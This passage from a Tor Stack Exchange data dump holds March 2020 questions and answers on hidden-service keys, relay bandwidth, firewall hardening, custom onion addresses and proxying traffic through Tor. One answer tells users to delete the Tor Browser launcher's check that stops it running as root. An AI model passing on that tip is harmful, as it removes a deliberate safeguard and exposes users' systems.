  <row Id="21012" PostTypeId="2" ParentId="21006" CreationDate="2020-03-22T21:28:50.617" Score="0" Body="&lt;p&gt;Fixed. In your hidden service file (in my case /var/lib/tor/nginx) do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;chown debian-tor:debian-tor hostname hs_ed25519_public_key hs_ed25519_secret_key&#xA;&#xA;chmod 600 hostname hs_ed25519_public_key hs_ed25519_secret_key&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am not sure if this affected anything but I also kept the authorized_clients folder. Also, I generated the key without any specific optimization parameters like amd64 or donna.&lt;/p&gt;&#xA;" OwnerUserId="28868" LastActivityDate="2020-03-22T21:28:50.617" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21013" PostTypeId="1" CreationDate="2020-03-22T22:25:05.977" Score="0" ViewCount="1564" Body="&lt;p&gt;I wonder if its possible to find the session keys for Tor's circuit for a hidden service such as facebookcorewwwi.onion (or public site)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dae2H.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dae2H.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are 4 keys used in connecting to a site:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Key between tor client and entry guard&lt;/li&gt;&#xA;&lt;li&gt;Key between tor client and middle relay&lt;/li&gt;&#xA;&lt;li&gt;Key between tor client and exit node&lt;/li&gt;&#xA;&lt;li&gt;ssl session key (if the service is using ssl/tls)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I have checked &lt;a href=&quot;https://nyx.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;nyx&lt;/a&gt; project, but could not find any information about encryption details of a circuit. The output from nyx is something similar to this (image from &lt;a href=&quot;https://www.slideshare.net/jmoc25/osint-python-extracting-information-from-tor-network-and-darkweb&quot; rel=&quot;nofollow noreferrer&quot;&gt;this link&lt;/a&gt;):&#xA;&lt;a href=&quot;https://i.stack.imgur.com/kL7O7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kL7O7.png&quot; alt=&quot;https://www.slideshare.net/jmoc25/osint-python-extracting-information-from-tor-network-and-darkweb&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help me in this matter.&lt;/p&gt;&#xA;" OwnerUserId="19920" LastActivityDate="2020-06-21T00:37:21.697" Title="How to view circuit details (including security keys) in Tor?" Tags="|circuit|encryption|session|key|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21014" PostTypeId="2" ParentId="20990" CreationDate="2020-03-22T22:41:20.427" Score="0" Body="&lt;p&gt;The best thing I can suggest is to use socks5 proxy in your browser. Let me explain.&#xA;Passing traffic (of any program including browser) through tor is possible by sending it through tor's socks5 proxy. Therefore, your browser should be able to use socks5 proxy which is opened by running tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally your browser should resolve domain names (whether normal domains or onions) through socks5. Suggest you to check firefox's proxy settings. These settings are working to change a normal firefox to onion browsing firefox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yO5qy.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yO5qy.png&quot; alt=&quot;Tor Socks5 settings&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there are other feature included in Tor Browser. For instance, NoScript addon for preventing execution of java script in web pages or https everywhere for using https version of the web pages. Hope it helped.&lt;/p&gt;&#xA;" OwnerUserId="19920" LastActivityDate="2020-03-22T22:41:20.427" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21015" PostTypeId="1" CreationDate="2020-03-23T00:56:56.000" Score="0" ViewCount="111" Body="&lt;p&gt;I’m trying to harden my host to not leak anything to clearnet.&#xA;I have an idea to get EntryNodes IP addresses from TorProject site, add them to iptables as allowed, and prohibit other traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question:&#xA;Do TOR connect to other IPs except entrynodes during normal operation?&#xA;Any directory services or anything else?&#xA;Can I spoil something with this configuration?&lt;/p&gt;&#xA;" OwnerUserId="28872" LastActivityDate="2020-03-23T22:45:48.317" Title="Hardening the network on the host" Tags="|security|network-configuration|protocol|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21016" PostTypeId="2" ParentId="21015" CreationDate="2020-03-23T01:20:54.677" Score="1" Body="&lt;p&gt;Your client may also connect to directory caches, and theoretically the directory authorities (but I'm not sure that the code currently does this). It might be better to whitelist all Tor relays rather than just guards. You will also need to re-download and update your rules periodically as the Tor network has high relay churn (your guard set should remain static for long periods of time so you shouldn't need to do this super often). You might also want to consider using iptables to block all outgoing connections, and only allow outgoing connections from the user which is running tor (for example the 'debian-tor' user). The following link describes some relevant security considerations for Tails: &lt;a href=&quot;https://tails.boum.org/contribute/design/Tor_enforcement/Network_filter/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tails.boum.org/contribute/design/Tor_enforcement/Network_filter/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-03-23T01:20:54.677" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21017" PostTypeId="2" ParentId="21015" CreationDate="2020-03-23T12:54:13.360" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;You might also want to consider using iptables to block all outgoing connections, and only allow outgoing connections from the user which is running tor (for example the 'debian-tor' user)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, the per user method (i.e. using the iptables -m owner --uid-owner module) will not work for me because the process does not have a separate user.&#xA;I use Whonix via Virtualbox. VM connections come out as a regular application with my user.&lt;/p&gt;&#xA;" OwnerUserId="28872" LastActivityDate="2020-03-23T12:54:13.360" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21018" PostTypeId="2" ParentId="21015" CreationDate="2020-03-23T22:45:48.317" Score="0" Body="&lt;p&gt;That's the problem not just for Whonix, but for a LAN-behind-a-router networks: no firewall can make a proper per-user filtering in this case. The only reliable and secure way is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Route &lt;strong&gt;all&lt;/strong&gt; traffic through a TransPort by default&lt;/li&gt;&#xA;&lt;li&gt;Use a HTTPS+&lt;strong&gt;LOCAL&lt;/strong&gt; DOH/SOCKS5+DNS proxy with authorization for exception of any kind&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All other approaches are looking good from the start, but they're vulnerable in a real life.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2020-03-23T22:45:48.317" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21019" PostTypeId="2" ParentId="17140" CreationDate="2020-03-24T13:13:52.433" Score="2" Body="&lt;p&gt;for fix this error , follow this command&#xA;go to this folder /tor-browser_en-US/Browser&#xA;command : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# nano start-tor-browser&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in editor , find this code : &quot; The Tor Browser Bundle should not be run as root &quot; &#xA;remove &#xA;exit 1 &#xA;and &#xA;complain &quot;The Tor Browser Bundle should not be run as root.  Exiting.&quot;&#xA;and press Ctrl + X &gt; Y &#xA;next &#xA;type start-tor-browser in command line &lt;/p&gt;&#xA;" OwnerUserId="28435" LastActivityDate="2020-03-24T13:13:52.433" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21020" PostTypeId="2" ParentId="20996" CreationDate="2020-03-25T09:47:11.127" Score="2" Body="&lt;p&gt;I have run a Tor relay for fifteen years, and I am seeing a similar issue with my relay.  For privacy reasons, I apologize in advance for not listing my relay's nickname.  According to Tor Metrics, on 2020-02-26 both my relay and your relay began receiving a Consensus Weight of 20 (Additional Flag:  Unmeasured).  Both of our relays are non-exit, middle-nodes with similar Advertised Bandwidth.  The Exit Policy reject configuration is identical.  Your relay has one Alleged Family Member, but my relay does not.  Both of our relays are IPv4 only.  My relay is in the US, and yours is in Germany.  Your Consensus Weight shows a steady value of 20 over the past month, but mine has fluctuated approximately every three days between a normal (for my relay) Consensus Weight and 20 (effectively unmeasured), and this has been going on since 2020-02-26.  I made no changes to my relay or network configuration immediately before the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been watching Consensus Health for my relay daily over the past month.  My relay is always measured by bwauth moria1 and bwauth faravahar.  Occasionally, my relay is also measured by bwauth bastet with a bw=20.  For my relay, I think bastet is part of the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unlike many other relays, my relay is not being measured by either bwauth maatuska or bwauth longclaw.  This unmeasured state is not helping my relay's Consensus Weight.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On 2020-02-26, my relay was running Tor 0.4.2.5 on Linux, but I updated it to 0.4.2.6 a few days later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My flags have been constant over the past month:  Fast, Running, Stable, V2Dir, Valid, and HSDir (except for after Tor restarts and Linux kernel update/reboots).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My relay is behind a highly restrictive (ingress and egress) firewall, but all of the published dirauth and bwauth servers are allowed.  This has been in place for years, and there have been no published dirauth and/or bwauth changes (server, IP address, port) that I can find.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to Sebastian Hahn, there is a recent issue with bwauth gabelmoo:&#xA;&lt;a href=&quot;https://lists.torproject.org/pipermail/tor-relays/2020-March/018241.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://lists.torproject.org/pipermail/tor-relays/2020-March/018241.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize that this does not solve your issue, but I thought we could compare notes.&lt;/p&gt;&#xA;" OwnerUserId="28881" LastEditorUserId="28881" LastEditDate="2020-03-25T10:20:48.650" LastActivityDate="2020-03-25T10:20:48.650" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="21021" PostTypeId="1" CreationDate="2020-03-25T10:36:26.750" Score="2" ViewCount="233" Body="&lt;p&gt;I try to set tor web browser as default application in Ubuntu 18.04.&#xA;After that I have installed it via ppa...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo add-apt-repository ppa:micahflee/ppa&#xA;sudo apt install torbrowser-launcher&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried the followings&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo update-alternatives --config gnome-www-browser&#xA;sudo update-alternatives --install /usr/bin/gnome-www-browser gnome-www-browser /home/fabrizio/.local/share/torbrowser/tbb/x86_64/tor-browser_it/Browser/start-tor-browser 200&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this last sudo two times to put it in automatic mode too.&#xA;But all of this has not been sufficient.&#xA;Do you have any idea, please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: It seems really difficult to let appear Tor web browser in &lt;code&gt;Activities -&amp;gt; Settings -&amp;gt; Default Applications -&amp;gt; Web&lt;/code&gt; ... it seems that appears only Firefox.&lt;/p&gt;&#xA;" OwnerUserId="28882" LastEditorUserId="88" LastEditDate="2020-04-15T12:40:54.497" LastActivityDate="2020-04-15T12:40:54.497" Title="How to set Tor Browser as default browser in Ubuntu, please?" Tags="|tor-browser-bundle|ubuntu|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21022" PostTypeId="1" CreationDate="2020-03-25T17:01:10.337" Score="0" ViewCount="455" Body="&lt;p&gt;Something really weird has been happening, I've trying to access a bunch of sites like&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;stackexchange.com&lt;/p&gt;&#xA;&lt;p&gt;twitter.com&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;google.com&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;reddit.com&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;and a lot more through my normal connection with chrome/firefox but none of them are working, I literally can't access the internet at all.&lt;/p&gt;&#xA;&lt;p&gt;Ping requests on the terminal are not resolved either.&lt;/p&gt;&#xA;&lt;p&gt;The only way I can access the internet is by using the tor browser. My question is, &lt;strong&gt;does this mean I'm being censored somehow?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="23329" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2020-03-25T17:01:10.337" Title="I can only access the internet through TOR" Tags="|censorship|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="21023" PostTypeId="2" ParentId="19560" CreationDate="2020-03-25T18:37:35.317" Score="1" Body="&lt;p&gt;simply use the below command this helped me&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;curl -s https://openpgpkey.torproject.org/.well-known/openpgpkey/torproject.org/hu/kounek7zrdx745qydx6p59t9mqjpuhdf |gpg --import -&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28885" LastActivityDate="2020-03-25T18:37:35.317" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21024" PostTypeId="1" CreationDate="2020-03-26T07:55:23.083" Score="0" ViewCount="56" Body="&lt;p&gt;I installed tor on my rasberry pi-3. the processor is armhf. All installed without complaint.&#xA;I followd the below link to do the setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.linux.com/news/turn-your-raspberry-pi-tor-relay-node&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.linux.com/news/turn-your-raspberry-pi-tor-relay-node&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Going to root and typing tor, I get command not found. Using systemctl start tor.service produces the same result. Entering tor --verify-config produces command not found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OS is Raspbian&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any Ideas?? Totally lost&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adriann&lt;/p&gt;&#xA;" OwnerUserId="19670" LastActivityDate="2020-04-25T15:04:30.393" Title="Raspberry Pi 3 as relay command not found" Tags="|raspberry-pi|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21025" PostTypeId="2" ParentId="21024" CreationDate="2020-03-26T14:54:06.813" Score="1" Body="&lt;p&gt;Raspbian is just another flavor of Debian for Raspberry Pi. If &lt;code&gt;/usr/sbin/tor&lt;/code&gt; is not available, then Tor is not installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can confirm the status of Tor by running:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt info tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should see a line that says, &quot;APT-Manual-Installed: yes&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is not installed, then run:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt update &amp;amp;&amp;amp; sudo apt install tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally, you should never run tor as root. Always run it as a normal user whenever possible.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-03-26T14:54:06.813" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21026" PostTypeId="1" CreationDate="2020-03-26T20:57:02.233" Score="0" ViewCount="264" Body="&lt;p&gt;I have a site with which I need to interact. I do this under the tor-network. But it seems to have Tor's lock on it. But when I use the tor browser everything works and the site responds. And when I submit requests to the site via tor.exe, using my own application in c# (windows 10), I get 403 forbidden error.&#xA;The tor browser may go online through ipv6. Configure use ipv6 in torrc doesn’t work for me.&#xA;Does anyone know what the problem is and how to solve it? Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I copy all the headers from the browser request.  They are the same.  And use tor.exe as a SOCKS 5 proxy. Without using tor-proxy from my application the site responds and error 403 does not occur&lt;/p&gt;&#xA;&#xA;&lt;p&gt;code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; HttpWebRequest proxy_request = (HttpWebRequest)WebRequest.Create(/*some uri*/);&#xA;                proxy_request.Method = &quot;GET&quot;;&#xA;                proxy_request.Headers.Add(HttpRequestHeader.AcceptLanguage, &quot;en-US,en;q=0.5&quot;);&#xA;                proxy_request.Headers.Add(HttpRequestHeader.CacheControl, &quot;no-cache&quot;);&#xA;                proxy_request.ContentType = &quot;application / x - www - form - urlencoded&quot;;&#xA;                proxy_request.UserAgent = &quot;Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 &quot;;&#xA;                proxy_request.Accept = &quot;text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&quot;;&#xA;                proxy_request.KeepAlive = true;&#xA;                var prx = new HttpToSocks5Proxy(&quot;127.0.0.1&quot;, 9050);&#xA;                proxy_request.Proxy = prx;&#xA;                HttpWebResponse resp = proxy_request.GetResponse() as HttpWebResponse;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28540" LastEditorUserId="28540" LastEditDate="2020-03-28T10:14:01.970" LastActivityDate="2020-03-28T10:14:01.970" Title="Using tor.exe error 403, but everything worked with tor browser" Tags="|tor-browser-bundle|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21028" PostTypeId="1" CreationDate="2020-03-27T09:23:50.280" Score="0" ViewCount="49" Body="&lt;p&gt;In the course of my master thesis I am currently trying to rebuild a simplified version of the selection algorithm from Tor. During my research, I found the following selection algorithm in some papers and in the Tor code itself:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yEpo5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yEpo5.png&quot; alt=&quot;Selection Algorithm&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the simulation, I only consider the Guard and Exit flags, i.e. other factors are not included in the node selection process. I weight all nodes according to the position to be filled and their flags with the weights published in the consensus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now my current understanding is that nodes are selected with a probability proportional to their bandwidth in order to better distribute the traffic. However, if I select the nodes in my simulation with the above algorithm after they were weighted, the following picture of the bandwidth distribution emerges. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Bjhui.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Bjhui.png&quot; alt=&quot;Bandwidth Distribution for 1000 Circuits, including all positions on the left and only exit position on the right.&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the specifications do not help at this point, here is the question of whether anyone can explain how the increased selection of nodes with higher bandwidth is achieved. Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="28237" LastActivityDate="2020-03-27T09:23:50.280" Title="Higher probability that nodes with higher bandwidth are selected for circuit" Tags="|circuit|bandwidth|implementations|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21029" PostTypeId="1" CreationDate="2020-03-27T22:21:37.977" Score="0" ViewCount="53" Body="&lt;p&gt;My relay has dropped all its throughput speed and I cant see what is causing a problem? can anyone offer any pointers?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Relay in question :&#xA;&lt;a href=&quot;https://metrics.torproject.org/rs.html#details/6E1DA4C0B0C05FB721B42329C47A20DA22908AEB&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://metrics.torproject.org/rs.html#details/6E1DA4C0B0C05FB721B42329C47A20DA22908AEB&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28900" LastActivityDate="2020-03-27T22:21:37.977" Title="low bandwidth on relay" Tags="|ubuntu|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21034" PostTypeId="1" CreationDate="2020-03-28T18:00:06.697" Score="0" ViewCount="150" Body="&lt;p&gt;I am trying to use my own custom .onion address using eschalot and after I add my info to hostname and key info into the private key file, upon starting tor, it overwrites my custom address and adds a tor generated address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried setting &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceVersion 3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceVersion 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it still overwrites the hostname file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried setting the immutable bit on the hostname file and my private key using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;chattr +i /etc/tor/hidden_service/hostname&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then tor fails to start with error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Mar 28 13:48:10.000 [debug] check_private_dir(): stat()ing /etc/tor/hidden_service/&#xA;Mar 28 13:48:10.000 [debug] file_status(): stat()ing /etc/tor/hidden_service//hs_ed25519_secret_key_encrypted&#xA;Mar 28 13:48:10.000 [debug] tor_rename(): Renaming /etc/tor/hidden_service//hostname.tmp to /etc/tor/hidden_service//hostname&#xA;Mar 28 13:48:10.000 [warn] Error replacing &quot;/etc/tor/hidden_service//hostname&quot;: Operation not permitted&#xA;Mar 28 13:48:10.000 [warn] Could not write onion address to hostname file &quot;/etc/tor/hidden_service//hostname&quot;&#xA;Mar 28 13:48:10.000 [warn] Error loading rendezvous service keys&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What's the switch to prevent tor from overwriting your hostname file?&lt;/p&gt;&#xA;" OwnerUserId="27884" LastActivityDate="2021-12-19T04:08:45.757" Title="How do I prevent tor from overwriting my hostname file?" Tags="|configuration|onion-services|onion-routing|website|server|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21035" PostTypeId="2" ParentId="17909" CreationDate="2020-03-28T22:29:16.450" Score="1" Body="&lt;p&gt;From &lt;a href=&quot;https://www.howtoforge.com/anonymous-ssh-sessions-with-tor&quot; rel=&quot;nofollow noreferrer&quot;&gt;HowToForge&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add this to your &lt;code&gt;~/.ssh/config/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Host anon_*&#xA;CheckHostIP no&#xA;Compression yes&#xA;Protocol 2&#xA;ProxyCommand connect -4 -S localhost:9050 $(tor-resolve %h localhost:9050) %p&#xA;Host anon_mydomain&#xA;HostName mydomain.com&#xA;User myaccount&#xA;Host anon_mydomain2&#xA;HostName mydomain2.com&#xA;User myaccount&#xA;Port 980&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29908" LastActivityDate="2020-03-28T22:29:16.450" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21036" PostTypeId="2" ParentId="21034" CreationDate="2020-03-28T23:07:22.063" Score="0" Body="&lt;p&gt;Solution from irc.oftc.net #tor&lt;/p&gt;&#xA;&#xA;&lt;p&gt;User error. You don't add the .onion address to the hostname file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I deleted all tor generated keys, deleted the hostname file and put the proper key into the keyfile&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also set &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceVersion 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Upon starting tor, it generated the correct custom .onion address into the hostname file and worked like a champ.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was trying to force it and that made tor mad. Just don't force it.&lt;/p&gt;&#xA;" OwnerUserId="27884" LastActivityDate="2020-03-28T23:07:22.063" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21039" PostTypeId="1" CreationDate="2020-03-29T09:02:51.217" Score="1" ViewCount="288" Body="&lt;p&gt;I'm dealing with a situation here. I'm attempting to run a webserver over a few hidden services. I've set up my torrc file to contain a few hidden services.&#xA;And then run just well. But then after a few hours, or sometimes minutes, the sites will become unreachable. Only when I run service tor restart does the issue fix itself, until it gets jammed again, and et cetra. Looking at torrc, I can see that it has to do with circuit building.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a note, I haven't shared these hidden services with anyone, so an attack can't even be an option, I assume.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be the problem? And how can I fix it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Relevant log snippet from &lt;code&gt;/var/log/tor/notices.log&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Mar 29 03:40:24.000 [notice] Application request when we haven't used client functionality lately. Optimistically trying known bridges again.&#xA;Mar 29 03:40:24.000 [notice] Application request when we haven't used client functionality lately. Optimistically trying known bridges again.&#xA;Mar 29 03:40:24.000 [notice] Application request when we haven't used client functionality lately. Optimistically trying known bridges again.&#xA;Mar 29 03:40:24.000 [notice] Application request when we haven't used client functionality lately. Optimistically trying known bridges again.&#xA;Mar 29 03:40:24.000 [notice] Application request when we haven't used client functionality lately. Optimistically trying known bridges again.&#xA;Mar 29 03:40:24.000 [notice] Application request when we haven't used client functionality lately. Optimistically trying known bridges again.&#xA;...&#xA;Mar 29 03:40:24.000 [warn] Giving up on launching a rendezvous circuit to $[censored]~ at [IP addr redacted] for hidden service [hidden service onion redacted]&#xA;Mar 29 03:40:27.000 [warn] Giving up on launching a rendezvous circuit to $[censored]~ at [IP addr redacted] for hidden service [hidden service onion redacted]&#xA;Mar 29 03:40:31.000 [warn] Giving up on launching a rendezvous circuit to $[censored]~ at [IP addr redacted] for hidden service [hidden service onion redacted]&#xA;Mar 29 03:40:34.000 [warn] Giving up on launching a rendezvous circuit to $[censored]~ at [IP addr redacted] for hidden service [hidden service onion redacted]&#xA;Mar 29 03:40:37.000 [warn] Giving up on launching a rendezvous circuit to $[censored]~ at [IP addr redacted] for hidden service [hidden service onion redacted]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks all, and stay safe&lt;/p&gt;&#xA;" OwnerUserId="29912" LastActivityDate="2020-03-29T09:02:51.217" Title="Tor process gets jammed, hidden services won't resolve" Tags="|onion-services|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21041" PostTypeId="1" AcceptedAnswerId="21426" CreationDate="2020-03-29T22:16:55.493" Score="0" ViewCount="421" Body="&lt;p&gt;I setup my hidden service a in February and has been working completely fine. After 9 days of not having my service running 20th-29th March, Tor keeps on giving me the error &amp;quot;We can’t connect to the server at xxxxxx.onion&amp;quot;. I have not touched anything.&lt;/p&gt;&#xA;&lt;p&gt;My localhost:8080 is working fine and NGINX is logging activity as normal.&#xA;From doing some research, I think maybe my generated onion is no longer working for some reason?&lt;/p&gt;&#xA;&lt;p&gt;How would I go about creating a new onion address for my hidden service?&lt;/p&gt;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;EDIT (Solution):&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;See answer below!&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29920" LastEditorUserId="29920" LastEditDate="2020-07-17T23:07:55.207" LastActivityDate="2020-07-26T03:58:09.327" Title="Tor Hidden Service Suddenly Stopped Working" Tags="|onion-routing|address|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21043" PostTypeId="1" CreationDate="2020-03-30T08:56:51.900" Score="0" ViewCount="809" Body="&lt;p&gt;My tor relay uses ~50 Mbytes/s (25 MBytes/s read and 25 MBytes/s write). I would expect that each byte has to be decrypted and encrypted once. So I would expect my tor relay decrypts ~25 MBytes/s and encrypts ~25 MBytes/s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The server receives &amp;lt; 10 SYN packets per second, which I assume is mostly setting up new TCP connections to other relays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;openssl&lt;/code&gt; seems to be able to do 150-350 MBytes/s (median IP-packet size to the node is 543), depending on whether tor uses AES-NI or not:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ openssl speed -elapsed -evp aes-256-cbc&#xA;:&#xA;type             16 bytes     64 bytes    256 bytes   1024 bytes   8192 bytes  16384 bytes&#xA;aes-256-cbc     273508.06k   336348.35k   369346.47k   358322.18k   225869.82k   229485.23k&#xA;&#xA;$ OPENSSL_ia32cap=&quot;~0x200000200000000&quot; openssl speed -elapsed -evp aes-256-cbc&#xA;:&#xA;type             16 bytes     64 bytes    256 bytes   1024 bytes   8192 bytes  16384 bytes                            